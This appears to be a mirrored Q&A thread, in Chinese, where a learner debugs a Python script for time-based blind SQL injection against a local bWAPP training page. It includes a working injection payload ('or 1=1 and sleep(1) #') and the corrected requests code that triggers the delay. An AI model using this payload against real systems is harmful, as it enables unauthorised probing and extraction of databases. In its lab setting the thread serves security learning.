SQL time_based注入脚本

sql time_based injection script

提问人:Hui Su 提问时间:10/25/2022 最后编辑:Hui Su 更新时间:10/26/2022 访问量:281

问:

问题

我正在学习sql注入和 我遇到了time_based sql注入脚本的问题(使用python)

错误

bWAPP的页面

  • 计时为 10 秒
  • 但是在 Python 中,事情出了问题
  • (这里是代码)
import requests
import time
 
st=time.time()
print(st)
res=requests.get("http://localhost:9999/sqli_15.php?title=s'+or+1=1+and+sleep(1)+#+&action=search",{"Cookie":"security_level=0; PHPSESSID=4sg0nucv70bhulmtrs0du0avk2"})
print(res.raise_for_status)
if time.time() - st > 1:
    print(1)
else:
    print(0)
print(time.time())
  • 和结果
1666677336.2546937
<bound method Response.raise_for_status of <Response [200]>>
0
1666677336.270689
  • 我在这里没有睡觉时间
  • 我试图更改为sql句子,但仍然失败了
  • 需要你的帮助
python sql 注入

评论

0赞 Egret 10/26/2022
您知道是否正确描述了 SQL 注入吗?如果从浏览器发送 sleep(10),它会等待 10 秒后才会响应吗?你在上面说 10 秒,但请注意 sleep(1) 将持续 1 秒。
1赞 Hui Su 10/26/2022
@Egret我认为这是因为第一个选择有 10 个结果,每个结果睡了 1 秒。我已将其更改为睡眠(2),并得到了20秒的时间
0赞 Egret 10/29/2022
注入在 where 子句中(基于语法),所以这对我来说没有多大意义 - 但它可能是作为 SQL 评估的一部分被多次处理 - 取决于它在语句中的位置。

答:

0赞 Hui Su 10/26/2022 #1

嘿,我通过使用sql_injection句 s' 或 ...sleep(1) # 作为 requests.get 的参数。

import requests
import time

st=time.time()
print(st)
param={"title":"s' or 1=1 and sleep(1) # ","action":"search"}
res=requests.get("http://localhost:9999/sqli_15.php?",
                headers={"Cookie":"security_level=0; PHPSESSID=7k9m9qojmkdqv0cjt390krkk75"},params=param)

print(res.raise_for_status)
if time.time() - st > 1:
    print(1)
else:
    print(0)
print(time.time())

评论

0赞 Egret 10/29/2022
很高兴你解决了它 - 似乎这可能是通过使用参数解决的编码问题。